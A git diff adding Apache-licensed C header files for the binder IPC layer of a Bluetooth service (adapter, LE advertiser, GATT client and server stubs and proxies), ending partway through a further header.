a/service/ipc/binder/include/adapter_stub.h b/service/ipc/binder/include/adapter_stub.h new file mode 100644 index 0000000000000000000000000000000000000000..2485092ca4ab63133eef0579ad1cd4cb8d78a473 --- /dev/null +++ b/service/ipc/binder/include/adapter_stub.h @@ -0,0 +1,121 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __ADAPTER_STUB_H__ +#define __ADAPTER_STUB_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#ifdef __cplusplus +extern "C" { +#endif + +#include <android/binder_manager.h> +// #include <android/binder_auto_utils.h> + +typedef struct { + AIBinder_Class* clazz; + AIBinder_Weak* WeakBinder; + void* usr_data; +} IBtAdapter; + +typedef struct { + AIBinder_Class* clazz; + AIBinder* binder; +} BpBtAdapter; + +#define ADAPTER_BINDER_INSTANCE "Vela.Bluetooth.Adapter" + +typedef enum { + /* local adapter */ + IBTADAPTER_REGISTER_CALLBACK = FIRST_CALL_TRANSACTION, + IBTADAPTER_UNREGISTER_CALLBACK, + IBTADAPTER_ENABLE, + IBTADAPTER_DISABLE, + IBTADAPTER_ENABLE_LE, + IBTADAPTER_DISABLE_LE, + IBTADAPTER_GET_STATE, + IBTADAPTER_IS_LE_ENABLED, + IBTADAPTER_GET_TYPE, + IBTADAPTER_SET_DISCOVERY_FILTER, + IBTADAPTER_START_DISCOVERY, + IBTADAPTER_CANCEL_DISCOVERY, + IBTADAPTER_IS_DISCOVERING, + IBTADAPTER_GET_ADDR, + IBTADAPTER_SET_NAME, + IBTADAPTER_GET_NAME, + IBTADAPTER_GET_UUIDS, + IBTADAPTER_SET_SCAN_MODE, + IBTADAPTER_GET_SCAN_MODE, + IBTADAPTER_SET_DEVICE_CLASS, + IBTADAPTER_GET_DEVICE_CLASS, + IBTADAPTER_SET_IO_CAP, + IBTADAPTER_GET_IO_CAP, + IBTADAPTER_GET_LE_IO_CAP, + IBTADAPTER_SET_LE_IO_CAP, + IBTADAPTER_GET_LE_ADDR, + IBTADAPTER_SET_LE_ADDR, + IBTADAPTER_SET_LE_ID, + IBTADAPTER_SET_LE_APPEARANCE, + IBTADAPTER_GET_LE_APPEARANCE, + IBTADAPTER_ENABLE_KEY_DERIVATION, + IBTADAPTER_GET_BONDED_DEVICES, + IBTADAPTER_GET_CONNECTED_DEVICES, + /* LE ADV */ + IBTADAPTER_START_ADVERTISING, + IBTADAPTER_STOP_ADVERTISING, + IBTADAPTER_STOP_ADVERTISING_ID, + /* LE SCAN */ + IBTADAPTER_START_SCAN, + IBTADAPTER_START_SCAN_SETTINGS, + IBTADAPTER_STOP_SCAN, + /* remote adapter */ + IREMOTE_GET_ADDR_TYPE, + IREMOTE_GET_DEVICE_TYPE, + IREMOTE_GET_NAME, + IREMOTE_GET_DEVICE_CLASS, + IREMOTE_GET_UUIDS, + IREMOTE_GET_APPEARANCE, + IREMOTE_GET_RSSI, + IREMOTE_GET_ALIAS, + IREMOTE_SET_ALIAS, + IREMOTE_IS_CONNECTED, + IREMOTE_IS_ENCRYPTED, + IREMOTE_IS_BOND_INIT_LOCAL, + IREMOTE_GET_BOND_STATE, + IREMOTE_IS_BONDED, + IREMOTE_CREATE_BOND, + IREMOTE_REMOVE_BOND, + IREMOTE_CANCEL_BOND, + IREMOTE_PAIR_REQUEST_REPLY, + IREMOTE_SET_PAIRING_CONFIRM, + IREMOTE_SET_PIN_CODE, + IREMOTE_SET_PASSKEY, + IREMOTE_CONNECT, + IREMOTE_DISCONNECT, + IREMOTE_CONNECT_LE, + IREMOTE_DISCONNECT_LE, + IREMOTE_SET_LE_PHY, +} IBtAdapter_Call; + +binder_status_t BtAdapter_addService(IBtAdapter* adapter, const char* instance); +#ifdef __cplusplus +} +#endif + +#endif /* __ADAPTER_STUB_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/advertiser_callbacks_proxy.h b/service/ipc/binder/include/advertiser_callbacks_proxy.h new file mode 100644 index 0000000000000000000000000000000000000000..bba565e1fdb05654d364e486faf0273609b55bef --- /dev/null +++ b/service/ipc/binder/include/advertiser_callbacks_proxy.h @@ -0,0 +1,36 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __ADVERTISER_CALLBACKS_PROXY_H__ +#define __ADVERTISER_CALLBACKS_PROXY_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#ifdef __cplusplus +extern "C" { +#endif +#include "bt_le_advertiser.h" + +#include <android/binder_manager.h> + +const advertiser_callback_t* BpBtAdvertiserCallbacks_getStatic(void); + +#ifdef __cplusplus +} +#endif +#endif /* __ADVERTISER_CALLBACKS_PROXY_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/advertiser_callbacks_stub.h b/service/ipc/binder/include/advertiser_callbacks_stub.h new file mode 100644 index 0000000000000000000000000000000000000000..0d19083a19afa97a9694c69e8d6e7231bf045bd1 --- /dev/null +++ b/service/ipc/binder/include/advertiser_callbacks_stub.h @@ -0,0 +1,51 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __ADVERTISER_CALLBACKS_STUB_H__ +#define __ADVERTISER_CALLBACKS_STUB_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#ifdef __cplusplus +extern "C" { +#endif + +#include "bt_le_advertiser.h" +#include <android/binder_manager.h> + +typedef struct { + AIBinder_Class* clazz; + AIBinder_Weak* WeakBinder; + const advertiser_callback_t* callbacks; + void* cookie; +} IBtAdvertiserCallbacks; + +typedef enum { + ICBKS_ON_ADVERTISING_START = FIRST_CALL_TRANSACTION, + ICBKS_ON_ADVERTISING_STOPPED, +} IBtAdvertiserCallbacks_Call; + +AIBinder* BtAdvertiserCallbacks_getBinder(IBtAdvertiserCallbacks* adver); +binder_status_t BtAdvertiserCallbacks_associateClass(AIBinder* binder); +IBtAdvertiserCallbacks* BtAdvertiserCallbacks_new(const advertiser_callback_t* callbacks); +void BtAdvertiserCallbacks_delete(IBtAdvertiserCallbacks* cbks); + +#ifdef __cplusplus +} +#endif +#endif /* __ADVERTISER_CALLBACKS_STUB_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/binder_utils.h b/service/ipc/binder/include/binder_utils.h new file mode 100644 index 0000000000000000000000000000000000000000..7c5e37e77087f351e992826c245724b1bc64800c --- /dev/null +++ b/service/ipc/binder/include/binder_utils.h @@ -0,0 +1,25 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <stdlib.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +bool AParcelUtils_btCommonAllocator(void** data, uint32_t size); +bool AParcelUtils_stringAllocator(void* stringData, int32_t length, char** buffer); +bool AParcelUtils_byteArrayAllocator(void* arrayData, int32_t length, int8_t** outBuffer); diff --git a/service/ipc/binder/include/bluetooth_proxy.h b/service/ipc/binder/include/bluetooth_proxy.h new file mode 100644 index 0000000000000000000000000000000000000000..308465a622aa2cdfb5beb1939b05c651b8ceb90e --- /dev/null +++ b/service/ipc/binder/include/bluetooth_proxy.h @@ -0,0 +1,43 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BLUETOOTH_PROXY_H__ +#define __BLUETOOTH_PROXY_H__ + +#include "bluetooth_stub.h" +#include <android/binder_manager.h> +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#ifdef __cplusplus +extern "C" { +#endif + +BpBtManager* BpBtManager_new(const char* instance); +void BpBtManager_delete(BpBtManager* bpManager); +bt_status_t BpBtManager_createInstance(AIBinder* binder, uint32_t handle, + uint32_t type, const char* hostName, + uint32_t* appId); +bt_status_t BpBtManager_getInstance(AIBinder* binder, const char* name, uint32_t* handle); +bt_status_t BpBtManager_deleteInstance(BpBtManager* bpBinder, uint32_t appId); +bt_status_t BpBtManager_startService(BpBtManager* bpBinder, uint32_t appId, uint32_t profileId); +bt_status_t BpBtManager_stopService(BpBtManager* bpBinder, uint32_t appId, uint32_t profileId); + +#ifdef __cplusplus +} +#endif +#endif /* __BLUETOOTH_PROXY_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/bluetooth_stub.h b/service/ipc/binder/include/bluetooth_stub.h new file mode 100644 index 0000000000000000000000000000000000000000..9262d429420e14072cdbb8e553c3df8a4b39a17c --- /dev/null +++ b/service/ipc/binder/include/bluetooth_stub.h @@ -0,0 +1,61 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BLUETOOTH_STUB_H__ +#define __BLUETOOTH_STUB_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#ifdef __cplusplus +extern "C" { +#endif + +#include <android/binder_manager.h> +// #include <android/binder_auto_utils.h> + +typedef struct { + AIBinder_Class* clazz; + AIBinder_Weak* WeakBinder; + void* usr_data; +} IBtManager; + +typedef struct { + AIBinder_Class* clazz; + AIBinder* binder; +} BpBtManager; + +typedef enum { + IBLUETOOTH_CREATE_INSTANCE = FIRST_CALL_TRANSACTION, + IBLUETOOTH_DELETE_INSTANCE, + IBLUETOOTH_GET_INSTANCE, + IBLUETOOTH_START_SERVICE, + IBLUETOOTH_STOP_SERVICE, +} IBluetooth_Call; + +#define MANAGER_BINDER_INSTANCE "Vela.Bluetooth.Manager" + +binder_status_t BtManager_addService(IBtManager* manager, const char* instance); +AIBinder* BtManager_getService(BpBtManager** bpManager, const char* instance); +void Bluetooth_joinThreadPool(void); +void Bluetooth_startThreadPool(void); +binder_status_t Bluetooth_setupPolling(int* fd); +binder_status_t Bluetooth_handlePolledCommands(void); +#ifdef __cplusplus +} +#endif +#endif /* __BLUETOOTH_STUB_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/gattc_callbacks_proxy.h b/service/ipc/binder/include/gattc_callbacks_proxy.h new file mode 100644 index 0000000000000000000000000000000000000000..7f52733ef7ab03a6eb5dd5e9ae0fd29f733b9777 --- /dev/null +++ b/service/ipc/binder/include/gattc_callbacks_proxy.h @@ -0,0 +1,36 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_GATTC_CALLBACKS_PROXY_H__ +#define __BT_GATTC_CALLBACKS_PROXY_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#ifdef __cplusplus +extern "C" { +#endif +#include "bt_gattc.h" + +#include <android/binder_manager.h> + +const gattc_callbacks_t* BpBtGattClientCallbacks_getStatic(void); + +#ifdef __cplusplus +} +#endif +#endif /* __BT_GATTC_CALLBACKS_PROXY_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/gattc_callbacks_stub.h b/service/ipc/binder/include/gattc_callbacks_stub.h new file mode 100644 index 0000000000000000000000000000000000000000..42b8d190c94149641deefca29b3020b14413ca99 --- /dev/null +++ b/service/ipc/binder/include/gattc_callbacks_stub.h @@ -0,0 +1,59 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_GATTC_CALLBACKS_STUB_H__ +#define __BT_GATTC_CALLBACKS_STUB_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#include "bt_list.h" + +#ifdef __cplusplus +extern "C" { +#endif + +#include "bt_gattc.h" +#include <android/binder_manager.h> + +typedef struct { + AIBinder_Class* clazz; + AIBinder_Weak* WeakBinder; + const gattc_callbacks_t* callbacks; + void* proxy; + void* cookie; +} IBtGattClientCallbacks; + +typedef enum { + ICBKS_GATT_CLIENT_CONNECTED = FIRST_CALL_TRANSACTION, + ICBKS_GATT_CLIENT_DISCONNECTED, + ICBKS_GATT_CLIENT_DISCOVERED, + ICBKS_GATT_CLIENT_MTU_EXCHANGE, + ICBKS_GATT_CLIENT_READ, + ICBKS_GATT_CLIENT_WRITTEN, + ICBKS_GATT_CLIENT_NOTIFIED +} IBtGattClientCallbacks_Call; + +AIBinder* BtGattClientCallbacks_getBinder(IBtGattClientCallbacks* adapter); +binder_status_t BtGattClientCallbacks_associateClass(AIBinder* binder); +IBtGattClientCallbacks* BtGattClientCallbacks_new(const gattc_callbacks_t* callbacks); +void BtGattClientCallbacks_delete(IBtGattClientCallbacks* cbks); + +#ifdef __cplusplus +} +#endif +#endif /* __BT_GATTC_CALLBACKS_STUB_H__ */ diff --git a/service/ipc/binder/include/gattc_proxy.h b/service/ipc/binder/include/gattc_proxy.h new file mode 100644 index 0000000000000000000000000000000000000000..ee0e0642a59c592d1ba933a768c5f1cdfae1f107 --- /dev/null +++ b/service/ipc/binder/include/gattc_proxy.h @@ -0,0 +1,53 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_GATTC_PROXY_H__ +#define __BT_GATTC_PROXY_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "bt_gattc.h" +#include "gattc_stub.h" + +#ifdef __cplusplus +extern "C" { +#endif + +BpBtGattClient* BpBtGattClient_new(const char* instance); +void BpBtGattClient_delete(BpBtGattClient* bpBinder); +void* BpBtGattClient_createConnect(BpBtGattClient* bpBinder, AIBinder* cbksBinder); +bt_status_t BpBtGattClient_deleteConnect(BpBtGattClient* bpBinder, void* handle); +bt_status_t BpBtGattClient_connect(BpBtGattClient* bpBinder, void* handle, bt_address_t* addr, ble_addr_type_t addr_type); +bt_status_t BpBtGattClient_disconnect(BpBtGattClient* bpBinder, void* handle); +bt_status_t BpBtGattClient_discoverService(BpBtGattClient* bpBinder, void* handle, bt_uuid_t* filter_uuid); +bt_status_t BpBtGattClient_getAttributeByHandle(BpBtGattClient* bpBinder, void* handle, uint16_t attr_handle, gatt_attr_desc_t* attr_desc); +bt_status_t BpBtGattClient_getAttributeByUUID(BpBtGattClient* bpBinder, void* handle, bt_uuid_t* attr_uuid, gatt_attr_desc_t* attr_desc); +bt_status_t BpBtGattClient_read(BpBtGattClient* bpBinder, void* handle, uint16_t attr_handle); +bt_status_t BpBtGattClient_write(BpBtGattClient* bpBinder, void* handle, uint16_t attr_handle, uint8_t* value, uint16_t length); +bt_status_t BpBtGattClient_writeWithoutResponse(BpBtGattClient* bpBinder, void* handle, uint16_t attr_handle, uint8_t* value, uint16_t length); +bt_status_t BpBtGattClient_subscribe(BpBtGattClient* bpBinder, void* handle, uint16_t value_handle, uint16_t cccd_handle); +bt_status_t BpBtGattClient_unsubscribe(BpBtGattClient* bpBinder, void* handle, uint16_t value_handle, uint16_t cccd_handle); +bt_status_t BpBtGattClient_exchangeMtu(BpBtGattClient* bpBinder, void* handle, uint32_t mtu); +bt_status_t BpBtGattClient_updateConnectionParameter(BpBtGattClient* bpBinder, void* handle, uint32_t min_interval, uint32_t max_interval, uint32_t latency, + uint32_t timeout, uint32_t min_connection_event_length, uint32_t max_connection_event_length); +#ifdef __cplusplus +} +#endif +#endif /* __BT_GATTC_PROXY_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/gattc_stub.h b/service/ipc/binder/include/gattc_stub.h new file mode 100644 index 0000000000000000000000000000000000000000..21b9cb547d7b178af4018ad092e23c6d3cc7c7a3 --- /dev/null +++ b/service/ipc/binder/include/gattc_stub.h @@ -0,0 +1,66 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_GATTC_STUB_H__ +#define __BT_GATTC_STUB_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#ifdef __cplusplus +extern "C" { +#endif + +#include <android/binder_manager.h> + +typedef struct { + AIBinder_Class* clazz; + AIBinder_Weak* WeakBinder; + void* usr_data; +} IBtGattClient; + +typedef struct { + AIBinder_Class* clazz; + AIBinder* binder; +} BpBtGattClient; + +typedef enum { + IGATT_CLIENT_CREATE_CONNECT = FIRST_CALL_TRANSACTION, + IGATT_CLIENT_DELETE_CONNECT, + IGATT_CLIENT_CONNECT, + IGATT_CLIENT_DISCONNECT, + IGATT_CLIENT_DISCOVER_SERVICE, + IGATT_CLIENT_GET_ATTRIBUTE_BY_HANDLE, + IGATT_CLIENT_GET_ATTRIBUTE_BY_UUID, + IGATT_CLIENT_READ, + IGATT_CLIENT_WRITE, + IGATT_CLIENT_WRITE_WITHOUT_RESPONSE, + IGATT_CLIENT_SUBSCRIBE, + IGATT_CLIENT_UNSUBSCRIBE, + IGATT_CLIENT_EXCHANGE_MTU, + IGATT_CLIENT_UPDATE_CONNECTION_PARAM, +} IBtGattClient_Call; + +#define GATT_CLIENT_BINDER_INSTANCE "Vela.Bluetooth.Gatt.Client" + +binder_status_t BtGattClient_addService(IBtGattClient* iGattc, const char* instance); +AIBinder* BtGattClient_getService(BpBtGattClient** bpGattc, const char* instance); + +#ifdef __cplusplus +} +#endif +#endif /* __BT_GATTC_STUB_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/gatts_callbacks_proxy.h b/service/ipc/binder/include/gatts_callbacks_proxy.h new file mode 100644 index 0000000000000000000000000000000000000000..bad75b02b0c31b53d828b7f0b2b3910f81b6955f --- /dev/null +++ b/service/ipc/binder/include/gatts_callbacks_proxy.h @@ -0,0 +1,38 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_GATTS_CALLBACKS_PROXY_H__ +#define __BT_GATTS_CALLBACKS_PROXY_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#ifdef __cplusplus +extern "C" { +#endif +#include "bt_gatts.h" + +#include <android/binder_manager.h> + +const gatts_callbacks_t* BpBtGattServerCallbacks_getStatic(void); +uint16_t BpBtGattServerCallbacks_onRead(void* handle, uint16_t attr_handle, uint32_t req_handle); +uint16_t BpBtGattServerCallbacks_onWrite(void* handle, uint16_t attr_handle, const uint8_t* value, uint16_t length, uint16_t offset); + +#ifdef __cplusplus +} +#endif +#endif /* __BT_GATTS_CALLBACKS_PROXY_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/gatts_callbacks_stub.h b/service/ipc/binder/include/gatts_callbacks_stub.h new file mode 100644 index 0000000000000000000000000000000000000000..768576c9a29b22db9591b5a228f71b98d5661a81 --- /dev/null +++ b/service/ipc/binder/include/gatts_callbacks_stub.h @@ -0,0 +1,61 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_GATTS_CALLBACKS_STUB_H__ +#define __BT_GATTS_CALLBACKS_STUB_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#include "bt_list.h" + +#ifdef __cplusplus +extern "C" { +#endif + +#include "bt_gatts.h" +#include <android/binder_manager.h> + +typedef struct { + AIBinder_Class* clazz; + AIBinder_Weak* WeakBinder; + const gatts_callbacks_t* callbacks; + const gatt_srv_db_t* srv_db; + void* proxy; + void* cookie; +} IBtGattServerCallbacks; + +typedef enum { + ICBKS_GATT_SERVER_CONNECTED = FIRST_CALL_TRANSACTION, + ICBKS_GATT_SERVER_DISCONNECTED, + ICBKS_GATT_SERVER_STARTED, + ICBKS_GATT_SERVER_STOPPED, + ICBKS_GATT_SERVER_MTU_CHANGED, + ICBKS_GATT_SERVER_READ, + ICBKS_GATT_SERVER_WRITE, + ICBKS_GATT_SERVER_NOTIFY_COMPLETE +} IBtGattServerCallbacks_Call; + +AIBinder* BtGattServerCallbacks_getBinder(IBtGattServerCallbacks* adapter); +binder_status_t BtGattServerCallbacks_associateClass(AIBinder* binder); +IBtGattServerCallbacks* BtGattServerCallbacks_new(const gatts_callbacks_t* callbacks); +void BtGattServerCallbacks_delete(IBtGattServerCallbacks* cbks); + +#ifdef __cplusplus +} +#endif +#endif /* __BT_GATTS_CALLBACKS_STUB_H__ */ diff --git a/service/ipc/binder/include/gatts_proxy.h b/service/ipc/binder/include/gatts_proxy.h new file mode 100644 index 0000000000000000000000000000000000000000..eee150e365d1c069556c4309d6f7931c5ee12757 --- /dev/null +++ b/service/ipc/binder/include/gatts_proxy.h @@ -0,0 +1,48 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_GATTS_PROXY_H__ +#define __BT_GATTS_PROXY_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "bt_gatts.h" +#include "gatts_stub.h" + +#ifdef __cplusplus +extern "C" { +#endif + +BpBtGattServer* BpBtGattServer_new(const char* instance); +void BpBtGattServer_delete(BpBtGattServer* bpBinder); +void* BpBtGattServer_registerService(BpBtGattServer* bpBinder, AIBinder* cbksBinder); +bt_status_t BpBtGattServer_unregisterService(BpBtGattServer* bpBinder, void* handle); +bt_status_t BpBtGattServer_connect(BpBtGattServer* bpBinder, void* handle, bt_address_t* addr, ble_addr_type_t addr_type); +bt_status_t BpBtGattServer_disconnect(BpBtGattServer* bpBinder, void* handle); +bt_status_t BpBtGattServer_createServiceTable(BpBtGattServer* bpBinder, void* handle, gatt_srv_db_t* srv_db); +bt_status_t BpBtGattServer_start(BpBtGattServer* bpBinder, void* handle); +bt_status_t BpBtGattServer_stop(BpBtGattServer* bpBinder, void* handle); +bt_status_t BpBtGattServer_response(BpBtGattServer* bpBinder, void* handle, uint32_t req_handle, uint8_t* value, uint16_t length); +bt_status_t BpBtGattServer_notify(BpBtGattServer* bpBinder, void* handle, uint16_t attr_handle, uint8_t* value, uint16_t length); +bt_status_t BpBtGattServer_indicate(BpBtGattServer* bpBinder, void* handle, uint16_t attr_handle, uint8_t* value, uint16_t length); +#ifdef __cplusplus +} +#endif +#endif /* __BT_GATTS_PROXY_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/gatts_stub.h b/service/ipc/binder/include/gatts_stub.h new file mode 100644 index 0000000000000000000000000000000000000000..945f0e1560c80fe4a01f82e6f7184bd2652359cf --- /dev/null +++ b/service/ipc/binder/include/gatts_stub.h @@ -0,0 +1,62 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_GATTS_STUB_H__ +#define __BT_GATTS_STUB_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#ifdef __cplusplus +extern "C" { +#endif + +#include <android/binder_manager.h> + +typedef struct { + AIBinder_Class* clazz; + AIBinder_Weak* WeakBinder; + void* usr_data; +} IBtGattServer; + +typedef struct { + AIBinder_Class* clazz; + AIBinder* binder; +} BpBtGattServer; + +typedef enum { + IGATT_SERVER_REGISTER_SERVICE = FIRST_CALL_TRANSACTION, + IGATT_SERVER_UNREGISTER_SERVICE, + IGATT_SERVER_CONNECT, + IGATT_SERVER_DISCONNECT, + IGATT_SERVER_CREATE_SERVICE_TABLE, + IGATT_SERVER_START, + IGATT_SERVER_STOP, + IGATT_SERVER_RESPONSE, + IGATT_SERVER_NOTIFY, + IGATT_SERVER_INDICATE, +} IBtGattServer_Call; + +#define GATT_SERVER_BINDER_INSTANCE "Vela.Bluetooth.Gatt.Server" + +binder_status_t BtGattServer_addService(IBtGattServer* iGatts, const char* instance); +AIBinder* BtGattServer_getService(BpBtGattServer** bpGatts, const char* instance); + +#ifdef __cplusplus +} +#endif +#endif /* __BT_GATTS_STUB_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/hfp_ag_callbacks_proxy.h b/service/ipc/binder/include/hfp_ag_callbacks_proxy.h new file mode 100644 index 0000000000000000000000000000000000000000..1254eeffb2a7f90f3ff5416b173ab91f469c8fea --- /dev/null +++ b/service/ipc/binder/include/hfp_ag_callbacks_proxy.h @@ -0,0 +1,36 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __HFP_AG_CALLBACKS_PROXY_H__ +#define 